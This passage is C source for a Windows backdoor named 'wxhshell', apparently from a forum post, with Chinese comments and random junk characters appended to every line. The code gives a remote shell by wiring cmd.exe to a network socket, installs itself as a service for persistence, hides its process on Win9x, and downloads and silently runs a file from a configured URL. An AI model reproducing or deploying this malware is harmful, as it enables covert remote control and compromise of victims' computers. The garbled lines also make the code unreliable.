      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xg} ug[  
    break; <BPRV> 0X  
  } 4>YU8/Rw  
  // 安装 ]~8v^A7u  
  case 'i': { XVF^,Yf  
    if(Install()) q & b5g !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TP{Gt.e  
    else T(V8; !  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s^cc@C  
    break; d=y0yq{L  
    } +zsZNJ(U  
  // 卸载 w" JGO  
  case 'r': { zKxvN3!  
    if(Uninstall()) .LObOR 5J7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h@@d{{IqT  
    else *NlpotW,f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &6/%k kv  
    break; 3Z1OX]R  
    } W' ep6O  
  // 显示 wxhshell 所在路径 J$QBI&D  
  case 'p': { LN^UC$[tk  
    char svExeFile[MAX_PATH]; {zP#woz2Q  
    strcpy(svExeFile,"\n\r"); 0[)VO[  
      strcat(svExeFile,ExeFile); 'gDe3@ci!  
        send(wsh,svExeFile,strlen(svExeFile),0); DbtF~`3, .  
    break; 5V@&o`!=h  
    } s}ADk-7  
  // 重启 @rwU 1T33  
  case 'b': { xGRT"U(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $KX[Zu%  
    if(Boot(REBOOT)) EZib1g&:R/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7~b!4x|Z  
    else { 8%ik853`  
    closesocket(wsh); b+@D_E-RJ  
    ExitThread(0); IqUp4}  
    } JUQg 'D  
    break; 94{)"w]  
    } X V=S )  
  // 关机 FVgMmYU  
  case 'd': { 2]2H++  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8a>SC$8"  
    if(Boot(SHUTDOWN)) %hINpZMr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M4?8xuC  
    else { $"8d:N?I[  
    closesocket(wsh); kXwi{P3D$  
    ExitThread(0); %LQ/q 3?_  
    } n+;vjVS%  
    break; P+Z\3re  
    } 1,`H:%z%  
  // 获取shell \A<v=VM|  
  case 's': { k)":v3 ^  
    CmdShell(wsh); }1U*A#aN7K  
    closesocket(wsh); `f)(Y1%.  
    ExitThread(0); ,w2WS\`%  
    break; b/<mRQ{  
  } 3SNL5  
  // 退出 a2yE:16o6  
  case 'x': { eN/G i<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OVR?*"N_  
    CloseIt(wsh); %{C)1*M7  
    break; T'1gy}  
    } l}}UFEA^  
  // 离开 *eUc.MX6x  
  case 'q': { .Xd0 Q=1h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8!zb F<W9  
    closesocket(wsh); <m-.aK{9  
    WSACleanup();  &?+WXL>  
    exit(1); 4o5i ."l  
    break; } ` T8A  
        } <o0~H  
  } )acV-+{  
  } [X/(D9J  
Sj-[%D*  
  // 提示信息 6OB",  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M"U OgS  
} vM4<d>  
  } 64U6C*w+  
>85zQ 1aL  
  return; ?QpNjsF  
} HY)ESU !  
^%#grX#  
// shell模块句柄 'Kz9ygZy  
int CmdShell(SOCKET sock) {'R)4hL  
{ 'jvpNn  
STARTUPINFO si; JsQ6l%9  
ZeroMemory(&si,sizeof(si)); kX2d7yQZz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l,d, T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FifbxL  
PROCESS_INFORMATION ProcessInfo; 5~r2sCDPk  
char cmdline[]="cmd"; >I<PO.c!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G7-!`-Nk  
  return 0; - k`.j  
} Gt~JA0+C)7  
nQ=aLV+'  
// 自身启动模式 qLjT.7 .x  
int StartFromService(void) z%:&#1)  
{ uLVBM]Qj  
typedef struct '4u v3)P  
{ !wh&>3~  
  DWORD ExitStatus; 'fY9a(Xt.  
  DWORD PebBaseAddress; HI!4  
  DWORD AffinityMask; OW`STp!  
  DWORD BasePriority; #I%s 3  
  ULONG UniqueProcessId; WY>Knp=  
  ULONG InheritedFromUniqueProcessId; M"wue*&  
}   PROCESS_BASIC_INFORMATION; Q~Ea8UT. #  
!LIlt`ag9  
PROCNTQSIP NtQueryInformationProcess; /1fwl5\  
^M[P-#X_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &88oB6$D^q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? +`x e{k  
Q"VMNvKYB  
  HANDLE             hProcess; D7Zm2Kj  
  PROCESS_BASIC_INFORMATION pbi; Z8&' f,  
CAgaEJhX3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kso*}uh0  
  if(NULL == hInst ) return 0; 8MZ$T3IM  
(lWq[0^N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PW)aLycPK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =~|:t&v=c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {THqz$KN  
cm@;*  
  if (!NtQueryInformationProcess) return 0; Vb)zZ^va+  
: F9|&q-W,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bQQVj?8jp  
  if(!hProcess) return 0; U5+vN[ K  
9UD @MA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q`6i=mB;  
P(ZQDTbM :  
  CloseHandle(hProcess); $YM_G=k  
TlRk*/PlJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NQLiWz-q  
if(hProcess==NULL) return 0; <qeCso  
{9'M0=  
HMODULE hMod; V#^yX%  
char procName[255]; %Fft R1"  
unsigned long cbNeeded; _T*AC.  
LP<<'(l`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |t6~%6^8  
oH-8r:{  
  CloseHandle(hProcess); 9l !S9d  
C}"@RHEu  
if(strstr(procName,"services")) return 1; // 以服务启动 ?<~WO?  
 MCnN^  
  return 0; // 注册表启动 $0qMQ%P  
} =NDOS{($  
pP.'wSj  
// 主模块 DW2>&|  
int StartWxhshell(LPSTR lpCmdLine) 4v.d-^  
{ 3 ^}A %-bS  
  SOCKET wsl; fx?$9(r,  
BOOL val=TRUE; wda';@y5(  
  int port=0; u"+}I,'L  
  struct sockaddr_in door; m5-9yQ=.  
]gP5f@`  
  if(wscfg.ws_autoins) Install(); J^zi2 jtV  
@Icq1zb] y  
port=atoi(lpCmdLine); {fz$Z!8-  
`W5-.Tv  
if(port<=0) port=wscfg.ws_port; IeTdN_8  
0k[2jh  
  WSADATA data; @d&H]5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r9@AT(  
E*CcV;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]U_ec*a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TFH&(_b  
  door.sin_family = AF_INET; 4gZ &^y'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OW5t[~y]  
  door.sin_port = htons(port); id,NONb\  
_vl}*/=Hc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4JMiyiW&  
closesocket(wsl); /q1s;I  
return 1; {j SmoA  
}  ^jyD#  
Ix8$njp[  
  if(listen(wsl,2) == INVALID_SOCKET) { D>#l-{d  
closesocket(wsl); S# we3  
return 1; &Lj@9\Dh  
} 5:_hP{ @  
  Wxhshell(wsl); 1r9f[j~  
  WSACleanup(); |jG~,{  
1oY^]OD]W  
return 0; HW[L [&/  
a.kbov(  
} &ab|2*3?X  
+%#8k9Y  
// 以NT服务方式启动 ;Icixu'O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X6@wkrf-  
{ !G?gsW0\h  
DWORD   status = 0; I.V:q!4*  
  DWORD   specificError = 0xfffffff; %1}6q`:w  
"(TkJbwC[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g8pO Lr'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i[nF.I5*f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X0$@Ik  
  serviceStatus.dwWin32ExitCode     = 0; kgW @RD|  
  serviceStatus.dwServiceSpecificExitCode = 0; !1Y&Y@ze  
  serviceStatus.dwCheckPoint       = 0; b"CAKl  
  serviceStatus.dwWaitHint       = 0; :1aL ?  
bS^WhZy'(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7$uJ7`e  
  if (hServiceStatusHandle==0) return; )K]pnH|  
=/9^, 6Q(  
status = GetLastError(); q]c5MlJXF  
  if (status!=NO_ERROR) k$"d^*R  
{ LN^f1/ b*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P3o @gkXP  
    serviceStatus.dwCheckPoint       = 0; {"}V&X160o  
    serviceStatus.dwWaitHint       = 0; Sycw %k  
    serviceStatus.dwWin32ExitCode     = status; m $dV<  
    serviceStatus.dwServiceSpecificExitCode = specificError; !m y8AWO'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kfrY1  
    return; elO<a]hX  
  } W>-B [5O&[  
4na8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %dttE)oH?  
  serviceStatus.dwCheckPoint       = 0; ?J!3j{4e  
  serviceStatus.dwWaitHint       = 0; *yaw$oB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *3+-W  
} ,/2LY4` 5  
3S~(:#|  
// 处理NT服务事件,比如:启动、停止 dE(tFZx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H[WQ=){  
{ lj[, |[X7`  
switch(fdwControl) M\oVA=d\0  
{ ?dq#e9  
case SERVICE_CONTROL_STOP: ?=On%bh  
  serviceStatus.dwWin32ExitCode = 0; 4< S'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W`)<vGn=Y  
  serviceStatus.dwCheckPoint   = 0; t~p y=\  
  serviceStatus.dwWaitHint     = 0; 6 "gj!/e  
  { Akk 3 Qx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2}WDw>V  
  } {ERMGd6Jp  
  return; 1=)r@X/6d  
case SERVICE_CONTROL_PAUSE: UT]?;o"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ${r[!0|   
  break; /n{1o\  
case SERVICE_CONTROL_CONTINUE: `=)2<Ca;~@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r@}bDkx  
  break; xyeA  2Y  
case SERVICE_CONTROL_INTERROGATE: 4g` jd  
  break; [~mGsXV  
}; =JO^XwUOo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Paf%rv2  
} ?vtX"Fdz  
tY/vL^mi  
// 标准应用程序主函数 QWO]`q`|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L'A)6^d@S  
{ Y "jE'  
URTzX 2'[  
// 获取操作系统版本  HEF?mD3h  
OsIsNt=GetOsVer(); ^ 4>k%d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X9=N%GY[  
\OwpD,'  
  // 从命令行安装 v/Pw9j!r;m  
  if(strpbrk(lpCmdLine,"iI")) Install(); +s[\g>i  
2& LQg=O  
  // 下载执行文件 aMuVqZw  
if(wscfg.ws_downexe) { $95~5]-nh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) blt'={Z?.x  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8*a), 3aK  
} DtxE@,  
)P Jw+5  
if(!OsIsNt) { |\9TvN^$`  
// 如果时win9x,隐藏进程并且设置为注册表启动 onei4c>@  
HideProc(); -*ELLY[  
StartWxhshell(lpCmdLine); #%,RJMv  
} V%ii3  
else "M H6fF  
  if(StartFromService()) Qyh/ed/  
  // 以服务方式启动 yW7'?  
  StartServiceCtrlDispatcher(DispatchTable); |zsbW9 W*m  
else 7=}F{U  
  // 普通方式启动 2.I^Xf2  
  StartWxhshell(lpCmdLine); &9[P-w;7u  
` }gbc69  
return 0; PX O!t]*  
}
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只看该作者 1 发表于: 2006-10-10
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